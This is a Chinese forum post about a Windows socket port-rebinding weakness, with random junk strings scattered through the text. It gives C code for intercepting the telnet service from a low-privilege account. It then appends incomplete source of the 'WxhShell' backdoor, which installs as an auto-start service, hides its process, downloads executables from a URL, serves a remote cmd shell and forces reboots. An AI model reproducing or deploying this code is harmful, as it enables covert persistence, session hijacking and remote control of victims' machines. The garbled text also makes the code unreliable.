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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6 1W/BU7O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hF"g91P QO{=Wi- saddr.sin_family = AF_INET; !y-2# PgLS\_B saddr.sin_addr.s_addr = htonl(INADDR_ANY); "F$o!Vk [fi'=Cb bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ShJK&70O cEc,eq| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F,M"/hnPT P4j 8`}&/ 这意味着什么?意味着可以进行如下的攻击: ,6;xr'[o* }b+QYSt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1/ pA/UVO _]xt65TL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RR!!hY3 K .3<IOtD= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l (,;wAH 3;MjO*- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 0^_lj9B! l(#ke 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oD#>8Aw s @f{_=~+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8ts+'65|F vA"niO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \c~{o+UD- [OZ=iz. #include rN1U.FRe/ #include -
SS r #include HNy/ - #include x8?x/xE DWORD WINAPI ClientThread(LPVOID lpParam); pp]_/46nN int main() +K%pxuVh { nS+FX&_ WORD wVersionRequested; *Z`XG_ s5 DWORD ret; eKVALUw WSADATA wsaData; o}MzqKfu BOOL val; Sf&?3a+f SOCKADDR_IN saddr; jD/7/G* SOCKADDR_IN scaddr; QW~5+c9JJ int err; a3UPbl3^ SOCKET s; g[s\~MF@s SOCKET sc; Z-SwJtWk int caddsize; *)bd1B# HANDLE mt; B9e.-Xaf DWORD tid; |Vwc/9`t]> wVersionRequested = MAKEWORD( 2, 2 ); g TXW2S err = WSAStartup( wVersionRequested, &wsaData ); f[Fgh@4cj if ( err != 0 ) { )W]>\=@Y printf("error!WSAStartup failed!\n"); 0^9:KZ.! return -1; }B"|z'u } E-sSRt saddr.sin_family = AF_INET; :,NFFN e" Eqi- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z0 2}&^Zzk /&$"}Z6z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5,
-pBep< saddr.sin_port = htons(23); wI!
+L&Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t0e{|du { ^+*GbY$' printf("error!socket failed!\n"); hB?,7- return -1; }2ql?K } eb!s'@ val = TRUE; DhLr^Z!h3; //SO_REUSEADDR选项就是可以实现端口重绑定的 ut4r~~Ar if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T+;H#& { )C>}"#J> printf("error!setsockopt failed!\n"); M!Z*QY."P return -1; Rkpr8MS } WVS$O99Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LBmM{Gu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [J)/Et //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7`IUMYl#~ "H>r-cyh if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jq57C}X}2 { E3S%s ret=GetLastError(); 4D^ M<Xn printf("error!bind failed!\n"); =`qRu return -1; x0\e<x9s } -uA 3Y listen(s,2); Z}8k[*. while(1) 48tcgFg[ { M*5,O caddsize = sizeof(scaddr); ]<27Sw&yaG //接受连接请求 17>5#JLP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]?0{(\ if(sc!=INVALID_SOCKET) E?Zb~xk { +65oC x
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,
Aq9fyC% if(mt==NULL) ^I X%dzM { _1>SG2h{fV printf("Thread Creat Failed!\n"); fav5e'[$ break; nJFk4v4:2 } .E+OmJwD } |7 &|> CloseHandle(mt); u64@"P } EKZA5J7kn closesocket(s); F:M>z= WSACleanup(); 6xH;:B)d return 0; X=v~^8M7% } /8xH$n&xoC DWORD WINAPI ClientThread(LPVOID lpParam) N'I(P9@ { izMYVI?0 SOCKET ss = (SOCKET)lpParam; [34zh="o SOCKET sc; 1ZT^)/ G unsigned char buf[4096]; Wrmgu}q SOCKADDR_IN saddr; 3A-*vaySV long num; "\}b!gl$8 DWORD val; Q_ctX|. DWORD ret; a9[mZVMgUK //如果是隐藏端口应用的话,可以在此处加一些判断 8h2D+1,PZC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 OmB
TA=E< saddr.sin_family = AF_INET; `-VG ?J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w6vLNX saddr.sin_port = htons(23); fO K|: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sffhPX\I { -i#J[>=w{C printf("error!socket failed!\n"); @-0Fe9 n= return -1; 9Ei5z6Vk/+ } {!L=u/qs" val = 100; vR7ct av if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =0,|/1~ { ]?[zx'| ret = GetLastError(); 2(pLxVl return -1; R]Hz8 _X } yahAD.Xuo@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R.K?
{ Hi^35 ret = GetLastError(); *oCxof9JA return -1; _B)s=Snx } 2Kjrw; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hjkLVL { dUIqD l printf("error!socket connect failed!\n"); 8qn 9| closesocket(sc); OY: u',T closesocket(ss); >-b&v $ return -1; *-0>3 } jh[
#p?: while(1) `|nH1sHFq { `%e|$pK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;AKwx|I$g //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hb+X}7c$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E Zi &] num = recv(ss,buf,4096,0); G~"z_ ( if(num>0) u$C\E<G^ send(sc,buf,num,0); h\(B#SN else if(num==0) 6
Ew@L<v break; RT,:hH num = recv(sc,buf,4096,0); a"x}b if(num>0) bl=ku<}@ send(ss,buf,num,0); GMl"{Oxo& else if(num==0) H<g 1m break; FQ`(b3.
} }`9jH:q-Z closesocket(ss); ?ty>}.c t closesocket(sc); >z(wf>2J return 0 ; 'r\ 4}Ik } SAR=
{/ vB.l0!c\e_ [@/ /#}5v ========================================================== zVw:7- !}_b| 下边附上一个代码,,WXhSHELL EkjgNEXq V43TO ========================================================== RND9D\7 V^WU8x #include "stdafx.h" Fk{J@Y e4DMO*6 #include <stdio.h> nob0T5G #include <string.h> 8f|98T"
#include <windows.h> j
C)-`_ #include <winsock2.h> 5MR,UgT #include <winsvc.h> Sm)u9 #include <urlmon.h> V7EQ4Om:It TN\|fzj #pragma comment (lib, "Ws2_32.lib") +y/ 55VLq #pragma comment (lib, "urlmon.lib") h$`#YNd' nBkh:5E5% #define MAX_USER 100 // 最大客户端连接数 QOH<]~3J #define BUF_SOCK 200 // sock buffer Ke!'gohv #define KEY_BUFF 255 // 输入 buffer X3',vey dxK9:IX #define REBOOT 0 // 重启 iPvuz7j=h #define SHUTDOWN 1 // 关机 (,B#t7ka f"dSr
#define DEF_PORT 5000 // 监听端口 2s\BY%XY d1c0l{JV3
#define REG_LEN 16 // 注册表键长度 :S -";.:" #define SVC_LEN 80 // NT服务名长度 D/CIA8h3 X%4Kj[I^ // 从dll定义API [*Uu#9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H>XFz(LWh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y! ~qbh[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Be2lMC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p$Hi[upy tlQC6Fb# // wxhshell配置信息 ?2 f_aY ; struct WSCFG { '1Y\[T* int ws_port; // 监听端口 U\zD,<I9 char ws_passstr[REG_LEN]; // 口令 o:~LF6A- int ws_autoins; // 安装标记, 1=yes 0=no bWmw3w char ws_regname[REG_LEN]; // 注册表键名 eM2|c3/ char ws_svcname[REG_LEN]; // 服务名 'RbQj}@x char ws_svcdisp[SVC_LEN]; // 服务显示名 * ?]~
# char ws_svcdesc[SVC_LEN]; // 服务描述信息 =^tA_AxVw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iX "C/L|JN int ws_downexe; // 下载执行标记, 1=yes 0=no
s2REt$.q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Jxa4hM0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yf}xwpuLk *z8|P#@ }; pDl3!m D=+NxR[ // default Wxhshell configuration ,eRQu. struct WSCFG wscfg={DEF_PORT, TB!((' "xuhuanlingzhe", T^:fn-S}= 1, }r%X`i| "Wxhshell", O"Q7Rx "Wxhshell", sOpep "WxhShell Service", l63hLz "Wrsky Windows CmdShell Service", BUsV|e\ "Please Input Your Password: ", _las;S'oa 1, H43MoC " http://www.wrsky.com/wxhshell.exe", }Wh6zT) "Wxhshell.exe" ,R2U`EO; }; LT VF8-v b~w=v_[(I // 消息定义模块 mbxbEqz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }D;WN@], char *msg_ws_prompt="\n\r? for help\n\r#>"; (V?: ] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; z~{&}Em ~ char *msg_ws_ext="\n\rExit."; =Vw
5q},3 char *msg_ws_end="\n\rQuit."; 69G`2_eKCp char *msg_ws_boot="\n\rReboot..."; oD.r`]k char *msg_ws_poff="\n\rShutdown..."; `$TRleSi char *msg_ws_down="\n\rSave to "; )Xtnk 3\:y8| char *msg_ws_err="\n\rErr!"; 'hqBo| char *msg_ws_ok="\n\rOK!"; ,xfO;yd B*3Y!! char ExeFile[MAX_PATH]; gckI.[!b int nUser = 0; IzLQhDJ1 HANDLE handles[MAX_USER]; y[?-@7i int OsIsNt; qfoD i+{yMol1 SERVICE_STATUS serviceStatus; T'H::^9:E SERVICE_STATUS_HANDLE hServiceStatusHandle; hA1-){aw3q .(CP. d // 函数声明 8|%^3O 0X int Install(void); 8}s.Fg@tE int Uninstall(void); EYX$pz(x; int DownloadFile(char *sURL, SOCKET wsh); p-SJ6Gg
9 int Boot(int flag); ]#2Y e7+ void HideProc(void); 9DQa
PA6 int GetOsVer(void); VQ#3#Hj int Wxhshell(SOCKET wsl); tmUFT void TalkWithClient(void *cs); |r%D\EB int CmdShell(SOCKET sock); OEx^3z^ int StartFromService(void); hC <O`|lF int StartWxhshell(LPSTR lpCmdLine); cLVe T :'iYxhM.V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =#gEB#$x: VOID WINAPI NTServiceHandler( DWORD fdwControl ); H1n1-!%d NMOut@ // 数据结构和表定义 QPtGdd SERVICE_TABLE_ENTRY DispatchTable[] = \>QF(J [8 { c%m3}mrb {wscfg.ws_svcname, NTServiceMain}, U.!lTLjfLz {NULL, NULL} re?s.djT }; ~{,X3-S_H ig}A9j?] // 自我安装 \p{5D`HY int Install(void) e]=lKxFh&l { e[_m<e char svExeFile[MAX_PATH]; qMt++*Ls HKEY key; R:Q0=PzDi# strcpy(svExeFile,ExeFile); YH&bD16c3 9o*,P,j'} // 如果是win9x系统,修改注册表设为自启动 6(d }W2GP if(!OsIsNt) { ,Uhb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >9e(.6&2XZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G6@M&u5RT RegCloseKey(key); @f]{>OS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A+J*e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _BdE<
!r RegCloseKey(key); 0sca4G0{ return 0; Bw%Qbs0Q } +5VLw } *}k;L74| } ^sN ( else { yeDsJ/L ^V$Ajt // 如果是NT以上系统,安装为系统服务 #jA[9gWI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .
8N.l^0, if (schSCManager!=0) ]0hrRA` { Mj[f~ SC_HANDLE schService = CreateService B(xN Gs ( >{\7&}gz schSCManager, ./Q, wscfg.ws_svcname, %NL^WG: wscfg.ws_svcdisp, ;bHV SERVICE_ALL_ACCESS, _=CZR7:O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !aO` AC=5u SERVICE_AUTO_START, [(1c<b2r SERVICE_ERROR_NORMAL, 9z)5Mdf1j svExeFile, w?kJ+lmOQy NULL, U!U$x74D5 NULL, sBrI}[oyx NULL, ?T+q/lt4 NULL, ZaNQpH. NULL 4jD2FFG-
G ); {43>m)8+ if (schService!=0) a:QDBS2Llv {
Uf}\p~; CloseServiceHandle(schService); M%jPH CloseServiceHandle(schSCManager); Y"A/^] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UfS%71l.$ strcat(svExeFile,wscfg.ws_svcname); p+)Y Tzzc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~3uP6\F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V< k8N^ RegCloseKey(key); C8z{XSo return 0; |2{wG4 } >4t+:Ut: } UTXSeNP CloseServiceHandle(schSCManager); g8PTGz } B&D}F=U } _h}kp\sps `ZC<W]WYX/ return 1; y!!2WHvE } L:@7tc. +\v?d&.f0 // 自我卸载 Q7W>qe%4 int Uninstall(void) GnvL'ESa@M { bw\@W{a%q HKEY key; O)vp~@| b0oMs=uBn if(!OsIsNt) { -[-wkC8a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RjN{%YkXe RegDeleteValue(key,wscfg.ws_regname); y*X_T,K8 RegCloseKey(key); 72'5%*1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_Yp>=+[ RegDeleteValue(key,wscfg.ws_regname); jy'13G/b\ RegCloseKey(key); o}ZdTf= return 0; TqnTS0fx } }sxYxn~ } thhwN
A } Dc,I7F|% else { ~ 0M'7q' P-9<YN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %$b:X5$Z if (schSCManager!=0) z*-2.}&U< { A{A\RSZ0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?!+MM&c-n if (schService!=0) [UH||qW { AJ=qn a if(DeleteService(schService)!=0) { ?"g! CloseServiceHandle(schService); +llR204 CloseServiceHandle(schSCManager); !jTcsN% return 0; Y=Kc'x[,Zj } "men CloseServiceHandle(schService); &G-!qxe } .X;3,D[w CloseServiceHandle(schSCManager); /{&tY:;m } bD?VU<)3 } _ jsK}- \ .hifsB~ return 1; Om5Y|v"* } cI4K+ w 47tgPPk // 从指定url下载文件 n^g|Ja int DownloadFile(char *sURL, SOCKET wsh) ynQ: >tw { P09;ng67 HRESULT hr; Hg=";,J char seps[]= "/"; ZusEfh? char *token; P(f0R8BE char *file; NGbG4-w- char myURL[MAX_PATH]; GaK-t*Q char myFILE[MAX_PATH]; e7sp =I, <P=twT;P strcpy(myURL,sURL); qHrc9fB token=strtok(myURL,seps); +8Rg F while(token!=NULL) p"KFJ { T:=lz:}I file=token; >7QvK3S4% token=strtok(NULL,seps); =Lf,?"S } XzEc2)0'v s*-n^o- GetCurrentDirectory(MAX_PATH,myFILE); TIQkW, strcat(myFILE, "\\"); H<PtAYFS strcat(myFILE, file); tg<EY!WY send(wsh,myFILE,strlen(myFILE),0); vbyH<LPz5 send(wsh,"...",3,0); lIW
}EM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bAx-"Lu if(hr==S_OK) SMpH._VFeE return 0; 24z< gO else &tg&5_ return 1; FG.em F9,DrB,B{ } 2h5nMI]' +lHjC$ // 系统电源模块 Hl{S]]z int Boot(int flag) iT2B'QI=< { sT}.v* HANDLE hToken; rustMs2p TOKEN_PRIVILEGES tkp; Z$/xy" o!kbK#k if(OsIsNt) { CEX"D` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t.xxSU5~% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AP'*Nh@Ik( tkp.PrivilegeCount = 1; I|^;B8[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B><d9d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iKX-myCz if(flag==REBOOT) { wk5s)%V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^hZ0IM return 0; )b)-ZS7 } xc=b
|:A else { ^")Q YE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lh7jux return 0; Nn!+,;ut } W*Zkc:{eB } old(i:2 else { : y%d if(flag==REBOOT) { g/CSGIIT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vl&?U return 0; ,-8"R`UI8 } DtXrWS/ else { _`&m\Qe> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -zOdU}91Ao return 0; bk;?9%TW } H[,i{dD } f4 P8Oz I|gB@|_~ return 1; |}BLF } \Q0[?k 2mVD_ s[` // win9x进程隐藏模块 Enum/O5 void HideProc(void) %4et&zRC { J^SdH&%Z a_f~N1kq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WW4vn|0v if ( hKernel != NULL ) v%+:/m1 { K|zZS%?$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6jE| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Sw%<N*r FreeLibrary(hKernel); u0|8Tgf } }B\a<0L/ X' H[7 ^W return; a{^m-fSaR" } gQWa24 hYPl&^ // 获取操作系统版本 I*{4rDt int GetOsVer(void) ,':fu {
P5a4ze OSVERSIONINFO winfo; Mo?~_|} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8m2Tk\;: GetVersionEx(&winfo); *|%@6I( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =,spvy'"*C return 1; nAW:utTB else %b&".mN return 0; l{I6&^!KS } ($au:'kU
x$5) ^ud? // 客户端句柄模块 UO0{):w> int Wxhshell(SOCKET wsl) iU$] {c2;A { \?[v{WP) SOCKET wsh; LClNxm2X struct sockaddr_in client; cv998*|X: DWORD myID; Ktb\ b w >`Y.+4mE while(nUser<MAX_USER) 5D\f8L { ?pr9f5 int nSize=sizeof(client); IUE~_7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j9eTCJqB if(wsh==INVALID_SOCKET) return 1; -+(jq>t [#-b8Cu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ALrw\qV if(handles[nUser]==0) }\tdcTMgS closesocket(wsh); v- T$:cL else ;X?}x%$ nUser++; 1O/+8yw } SQBa;hvgM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &]" ")O%86_Q: return 0; [Y|8\Ph`& } ~ELNyI11 =XA;[PVx:# // 关闭 socket UW N*j_9i void CloseIt(SOCKET wsh) PDJr<E? { E7t+E)=8 closesocket(wsh); 7!@-*/|!S9 nUser--; EYtL_hNp}I ExitThread(0); cii_U=
} wQqb`l7+ Isvx7$Vu+ // 客户端请求句柄 6h|q'.Y void TalkWithClient(void *cs) msP{l^%0 { rID#`:Hl-| !}YAdZJ SOCKET wsh=(SOCKET)cs; %`>nS@1zp char pwd[SVC_LEN]; ?I6fye7 char cmd[KEY_BUFF]; ?k]2*}bz char chr[1]; q$I;dOCJ, int i,j; 5b*M*e&=C K{&mI/; while (nUser < MAX_USER) { wW7eT~w f!\lg if(wscfg.ws_passstr) { `|6'9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :o|\"3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9>l*lCA //ZeroMemory(pwd,KEY_BUFF); Ov5" i=0; +ln9c while(i<SVC_LEN) { ^V ?<K.F ^8 z R // 设置超时 UJD 0K]s fd_set FdRead; (U&tt]| struct timeval TimeOut; Li!Vx1p;u. FD_ZERO(&FdRead); )m`<H>[Eb= FD_SET(wsh,&FdRead); R n}l6kbM TimeOut.tv_sec=8; j/R[<47 TimeOut.tv_usec=0; Ja,wfRq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s3~lT. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &M46&^Jho pOGeruu? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v=0(~<7B pwd =chr[0]; GR&z, if(chr[0]==0xd || chr[0]==0xa) { .:@Ykdm4I pwd=0; fKeT,U`W break; GGNvu)" } Bzkoo J i++;
3L<wQ( } 7op`s5i &+cEV6vb+ // 如果是非法用户,关闭 socket iIMd!Q.)@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lpQSup } =y
[M\m .n#@$
nGZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mmxlp.l send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5*+!+V^?X (zgW%{V@ while(1) { C>-aIz!y O[I\A[* ZeroMemory(cmd,KEY_BUFF);
@OV|]u *AG#316 // 自动支持客户端 telnet标准 <oR a3Gi(% j=0; k[bD\' while(j<KEY_BUFF) { &,}j#3< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JW{rA6? cmd[j]=chr[0]; 3N dq> if(chr[0]==0xa || chr[0]==0xd) {
8cU}I4| cmd[j]=0; M.x=<:upp break; gnFr}L&j } C9~52+S j++; YUx.BZf7 } 419x+3>} ]^Qn // 下载文件 ?j40}
B]]d if(strstr(cmd,"http://")) { >[9J?H send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9{(.Il J> if(DownloadFile(cmd,wsh)) d9B]fi} send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/a/)No else 8D>n1b(H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"}*T } aNScF else { ZG>PQA V,mw[Hw switch(cmd[0]) { }j^i}^Du, N9jH\0nG // 帮助 Hw7;;HK
7 case '?': { 7Nk!1s: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }RzWJ@QD< break; xC{qV, } uehDIl0\[b // 安装 I/&%]"[^u case 'i': { E8pB;\Z( if(Install()) 6{"$nF] send(wsh,msg_ws_err,strlen(msg_ws_err),0); v:!Z=I}> else vK9E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Bcp;D break; E;Y;z } M!/Cknm // 卸载 ]!I7Y.w6 case 'r': { $*AYcy7 if(Uninstall()) o$#G0}yn send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8dO! else M[mF8Zf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %e-7ubW break; zbk q } ^5H >pat // 显示 wxhshell 所在路径 <g1hxfKx5 case 'p': { i>D.!x char svExeFile[MAX_PATH]; F$ #U5}Q strcpy(svExeFile,"\n\r"); 1`(tf6op strcat(svExeFile,ExeFile); ,u+PyG7 cb send(wsh,svExeFile,strlen(svExeFile),0); EH256f(& break; gu0j.XS^ } \9cG36 // 重启 6G
#}Q/ case 'b': { :+qF8t[L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n@C[@?D if(Boot(REBOOT)) pimtiQqC send(wsh,msg_ws_err,strlen(msg_ws_err),0); AyNI$Q6Z else { U^Q:Y}^ closesocket(wsh); "t(p&;d ExitThread(0); K? y[V1, } x[$z({Yf break; fQi4\m } ~R22?g. // 关机 J T-J#Ag case 'd': { ;A]@4*q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {@+Ty]e if(Boot(SHUTDOWN)) Yzh"1|O send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+p^ ^t\ else { ,cB\ closesocket(wsh); +z9Q-d%O ExitThread(0); *v9 2 } d/BM&r break; K
P Oa|$ } yf[~Yl>Ogw // 获取shell |y0(Q V case 's': { CDP
U\ZG CmdShell(wsh); d8[J@M53|T closesocket(wsh); !a7[8& ExitThread(0); l038%U~U! break; h| ,:e;>} } 6LalW5I // 退出 BI3@|,._N case 'x': { Lv|q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N"]q='t CloseIt(wsh); .NYbi@bk(< break; -I&m:A$4* } a0D%k: k5 // 离开 D|e
uX7b case 'q': { k@/sn(x send(wsh,msg_ws_end,strlen(msg_ws_end),0); n2)@S0{ closesocket(wsh); GBRa.;Kk WSACleanup(); R)QC)U exit(1); /ro=?QYb break; n ~shK<!C } -'t)=YJ } gk"$,\DI } c_vqL$Dl cc~O&?)i // 提示信息 )N7Y^CN~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4\Tl\SZ? } P} 0%-JC } v":x4!kdX mt,OniU= Q return; 0=AVW`J } B56L1^7 !,6c ~ w // shell模块句柄 ~N<4L>y< int CmdShell(SOCKET sock) z([ v%zf { 7f0lQ STARTUPINFO si; 3'cE\u ZeroMemory(&si,sizeof(si)); ]pH-2_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %M7` Hwu si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;\14b?TUH PROCESS_INFORMATION ProcessInfo; LUM@#3& char cmdline[]="cmd"; 0{,Z{&E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dep=& return 0; (Iaf?J5{ } `$W_R[ @d
mV // 自身启动模式 Exc9`
7%. int StartFromService(void) va}Pj#= { G
8g<>d{j typedef struct l'/R&`-n { ;/r1}tl+3> DWORD ExitStatus; xKuRh}^K DWORD PebBaseAddress; tt0f-:# DWORD AffinityMask; @zU6t|mhz DWORD BasePriority; .J)I | ' ULONG UniqueProcessId; __|+w<] ULONG InheritedFromUniqueProcessId; +
HK8jCa } PROCESS_BASIC_INFORMATION; ms*(9l.hOK hc>HQrd PROCNTQSIP NtQueryInformationProcess; P<X\%_Iat 60J;sGW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H!5\v"]WB static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nxWY7hU ]:Nsf|C0 HANDLE hProcess; Yu)NO\3& PROCESS_BASIC_INFORMATION pbi; VUPXO 62k^KO6Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {^CY..3
